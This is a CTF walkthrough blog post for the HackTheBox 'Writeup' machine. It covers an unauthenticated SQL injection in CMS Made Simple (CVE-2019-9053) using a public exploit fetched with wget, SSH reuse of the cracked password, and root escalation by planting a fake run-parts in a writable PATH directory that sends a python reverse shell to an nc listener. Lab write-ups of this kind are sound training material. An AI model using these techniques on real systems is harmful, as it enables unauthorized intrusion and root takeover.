HackTheBox - Writeup
Writeup was my first machine I solved to start my CTF journey. It’s an easy rated box but still interesting and perfect to jump into the CTF bath!
User Flag
Recon
Let’s start with the classic nmap:
1 | [hg8@archbook ~]$ nmap -sV -sT -sC writeup.htb |
A classic, port 80 and 22. nmap
did a bit extra work for us and found the the robots.txt
show an interesting entry : /writeup/
First thing we see when opening the 80 port is this message :
So there a DOS protection checking apache logs for 40X errors. Probably a fail2ban or something. Let’s avoid classic enumeration scripts to not get banned.
The footer says :
Page is hand-crafted with vi.
That’s an interesting fact to keep in mind, maybe can access vi backups file (something like index.php~
or index.php.swp
) and have a look at the source code.
The /writeup/
endpoint countains, well, writeups. The website seems rather basic :
Each writeup is accessible throught the URL in the following form :
1 | http://writeup.htb/writeup/index.php?page={writeup-name} |
After digging a bit we found there is no Local File Inclusion vulnerabilities nor vim
backup files accessible.
Exploit
Checking the source code inform us that the website was made using CMS Made Simple
:
1 | [hg8@archbook ~]$ http writeup.htb/writeup/index.php |
A quick search return a fairly recent vulnerability, CVE-2019-9053 :
An issue was discovered in CMS Made Simple 2.2.8. It is possible with the News module, through a crafted URL, to achieve unauthenticated blind time-based SQL injection via the m1_idlist parameter.
And an exploit is already available, perfect!
Looking at the source code we can see we have a very well crafted and complete exploit. It will :
- Dump the salt used by CMS Made Simple
- Dump the username
- Dump the email
- Dump the password
- And even have a function to crack the found hashed password
Let’s try it :
1 | [hg8@archbook ~]$ wget https://www.exploit-db.com/raw/46635 -O cmssimple.py |
Really nice exploit here. So we have an username and a password.
The CMS Made Simple admin page can not be accessed using those credentials, so let’s try with SSH :
1 | ssh [email protected] |
Root Flag
Recon
As a recon phase let’s run pspy
to check running process. And paying closer attention de process run as root.
1 | $ # Attacker box |
1 | jkr@writeup:~$ chmod +x pspy64 && ./pspy64 |
After watching the processes for a while, we will see a few other users succeding the user challenge and connect to SSH aswell. And something interresting appears :
1 | 05:37:15 CMD: UID=0 PID=11674 | sshd: [accepted] |
A few commands are run as root
upon users login. Let’s dig.
First command that caught the attention is run-parts --lsbsysinit /etc/update-motd.d
1 | [hg8@archbook ~]$ man run-parts |
Sounds promising. If we can add a script to /etc/update-motd.d
it will be executed as root on next login.
Unfortunately we don’t have writting rights to /etc/update-motd.d
nor to the file present in it:
1 | jkr@writeup:~$ ls -l /etc/update-motd.d/ |
That looks like a dead end here.
Another thing we noticed is that executable are called in relative path and not absolute. And the first command gives the full PATH
env variable before launching the run-parts
command.
1 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new |
As a reminder, when a command is called Linux will search in the PATH
environement variable to find where this executable is located. So in the command above, Linux system will first look in the /usr/local/sbin
to see if run-parts
is there, then in /usr/local/bin
etc…
Let’s check where run-parts
is :
1 | jkr@writeup:~$ which run-parts |
So it’s /bin/
folder, the last on the PATH
list. That mean if we can write an executable named run-parts
in either :
/usr/local/sbin/
/usr/local/bin/
/usr/sbin/
/usr/bin/
/sbin/
then it will be ran instead of the real /bin/run-parts
and as root. If we have writting rights in any of those folder then it’s bingo.
Privilege escalation
1 | # Bash reserve shell doesn't work, let's use the python one |
Let’s listen to incoming connection :
1 | nc -l -vv -p 8585 |
Now we logout and login again to the box to initiate the sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
command.
And surely we receive the connection immediatly :
1 | nc -l -vv -p 8585 |
That’s it! As always do not hesitate to contact me for any questions or feedbacks.
See you next time !
-hg8